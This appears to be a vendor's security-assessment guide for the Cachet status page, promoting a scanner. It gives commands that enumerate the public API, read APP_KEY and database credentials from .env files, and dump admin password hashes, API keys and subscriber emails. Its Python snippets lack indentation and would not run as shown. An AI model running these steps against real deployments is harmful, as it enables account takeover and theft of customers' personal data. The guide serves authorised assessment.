Cachet is a widely deployed self-hosted status page system used by organizations to communicate service availability to customers and internal teams — it knows about every monitored service and component in your infrastructure. Key assessment areas: APP_KEY is the Laravel application encryption key that signs session cookies; the API key (X-Cachet-Token header) enables full incident and component management; the public API may expose internal infrastructure component names and status history without authentication; the database stores all subscriber email addresses and internal incident details; and Cachet's known CVE-2021-39172 template injection vulnerability may exist on unpatched deployments. This guide covers systematic Cachet security assessment.
# Cachet — default credentials and public API infrastructure enumeration
CACHET_URL="https://status.example.com"
# Cachet API is partially public — components and incidents visible without auth
# This reveals internal infrastructure topology
# Enumerate all components (internal services) WITHOUT authentication
curl -s "${CACHET_URL}/api/v1/components" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Components: {meta.get(\"pagination\",{}).get(\"total\",len(data))} total')
for c in data[:20]:
print(f' [{c.get(\"id\")}] {c.get(\"name\")} status={c.get(\"status\")} ({c.get(\"status_name\")})')
print(f' description={c.get(\"description\",\"\")[:80]}')
print(f' enabled={c.get(\"enabled\")} link={c.get(\"link\",\"\")}')
" 2>/dev/null
# Reveals internal service names, descriptions, and links — infrastructure map
# Enumerate all incidents (internal outage history) WITHOUT authentication
curl -s "${CACHET_URL}/api/v1/incidents?sort=id&order=desc&per_page=50" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Incidents: {len(data)}')
for i in data[:10]:
print(f' [{i.get(\"id\")}] {i.get(\"name\")} status={i.get(\"status\")} ({i.get(\"human_status\")})')
print(f' message={str(i.get(\"message\",\"\"))[:100]}')
print(f' occurred_at={i.get(\"occurred_at\")} created_at={i.get(\"created_at\")}')
" 2>/dev/null
# Incident messages often contain internal technical details, root cause analysis
# Check for CVE-2021-39172 — Server-Side Template Injection in Cachet 2.3.x/2.4.x
# The 'name' field in components/incidents was vulnerable to SSTI
curl -s "${CACHET_URL}/api/v1/ping" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Cachet version: {d.get(\"data\",\"unknown\")}')
" 2>/dev/null
# Cachet API key authentication and incident/component management
CACHET_URL="https://status.example.com"
# Cachet API key is in database (cachet_settings table) or .env file
# API key is passed as X-Cachet-Token header
API_KEY="your-cachet-api-key"
# Test API key authentication
curl -s "${CACHET_URL}/api/v1/components" \
-H "X-Cachet-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# If authenticated, may see additional private components
print(f'Authenticated components: {len(d.get(\"data\",[]))}')
" 2>/dev/null
# Get all subscribers (email addresses!)
curl -s "${CACHET_URL}/api/v1/subscribers?per_page=100" \
-H "X-Cachet-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Subscribers: {meta.get(\"pagination\",{}).get(\"total\",len(data))} total')
for s in data[:20]:
print(f' {s.get(\"email\")} verified={s.get(\"verified\")} created_at={str(s.get(\"created_at\",\"\"))[:10]}')
" 2>/dev/null
# Subscriber emails are the customer list — valuable PII
# Create fake incident (demonstrates write access with API key)
# curl -s -X POST "${CACHET_URL}/api/v1/incidents" \
# -H "X-Cachet-Token: ${API_KEY}" \
# -H "Content-Type: application/json" \
# -d '{"name":"Service Degradation","message":"Investigating issue","status":1,"visible":1}'
# Get component groups
curl -s "${CACHET_URL}/api/v1/components/groups" \
-H "X-Cachet-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Component groups: {len(data)}')
for g in data:
print(f' {g.get(\"name\")} collapsed={g.get(\"collapsed\")}')
" 2>/dev/null
# Cachet APP_KEY and database credential extraction
# .env file — Cachet/Laravel configuration
cat /var/www/html/.env /app/.env 2>/dev/null | \
grep -E "APP_KEY|DB_|MAIL_|CACHET_|APP_ENV|APP_URL" | head -20
# APP_KEY — Laravel application encryption key (base64 encoded)
# Cracking APP_KEY allows forging Laravel session cookies for admin access
# DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DATABASE
# MAIL_HOST, MAIL_USERNAME, MAIL_PASSWORD — email configuration
# Docker inspection
docker inspect cachet 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_KEY','DB_','MAIL_','CACHE_','APP_ENV']):
print(e)
" 2>/dev/null
# MySQL/PostgreSQL — all Cachet data
DB_URL="mysql://cachet:PASSWORD@localhost/cachet"
mysql -h localhost -u cachet -pPASSWORD cachet 2>/dev/null << 'EOF'
-- API key from settings (alternative to .env)
SELECT `name`, `value` FROM `cachet_settings`
WHERE `name` IN ('app_key','api_key','cachet_token')
LIMIT 5;
-- All subscriber emails
SELECT email, verify_code, verified, created_at
FROM cachet_subscribers
ORDER BY created_at DESC
LIMIT 30;
-- All incidents with internal messages
SELECT id, name, message, status, visible, occurred_at
FROM cachet_incidents
ORDER BY created_at DESC
LIMIT 20;
-- Admin users and hashed passwords
SELECT id, username, email, password, api_key, remember_token
FROM cachet_users
ORDER BY id ASC
LIMIT 10;
EOF
-- api_key: plaintext API key for each admin user
-- password: bcrypt hashed passwords for offline cracking
| Security Test | Method | Risk |
|---|---|---|
| Public API unauthenticated infrastructure enumeration | GET /api/v1/components and /api/v1/incidents — no authentication required; reveals all monitored service names, descriptions, incident history with internal details; complete infrastructure component map for reconnaissance | Medium |
| APP_KEY extraction and Laravel session forgery | Read .env APP_KEY — forge Laravel session cookies for any Cachet user; full admin panel access without credentials; API key extraction, subscriber enumeration, incident manipulation | High |
| Database cachet_users API key extraction | SELECT api_key FROM cachet_users — plaintext API keys for all admin users; full incident and component management capability; subscriber email list access via authenticated API | High |
| Subscriber email list extraction | GET /api/v1/subscribers with API key — complete customer subscriber email list; GDPR-regulated personal data; targeted phishing list; customer count intelligence disclosure | High |
| CVE-2021-39172 Server-Side Template Injection | Inject Blade template syntax in component/incident name fields — authenticated SSTI in Cachet 2.3.x/2.4.x; Remote Code Execution on unpatched deployments; affects name, message, and notification fields | Critical (if unpatched) |
Ironimo tests Cachet deployments for APP_KEY extraction and Laravel session cookie forgery, database cachet_users API key extraction, subscriber email list enumeration, CVE-2021-39172 SSTI assessment on unpatched versions, public API unauthenticated infrastructure component enumeration, incident message internal detail disclosure, Docker APP_KEY/DB_PASSWORD exposure, admin password hash extraction for offline cracking, bcrypt strength assessment, and API key privilege level testing.
Start free scan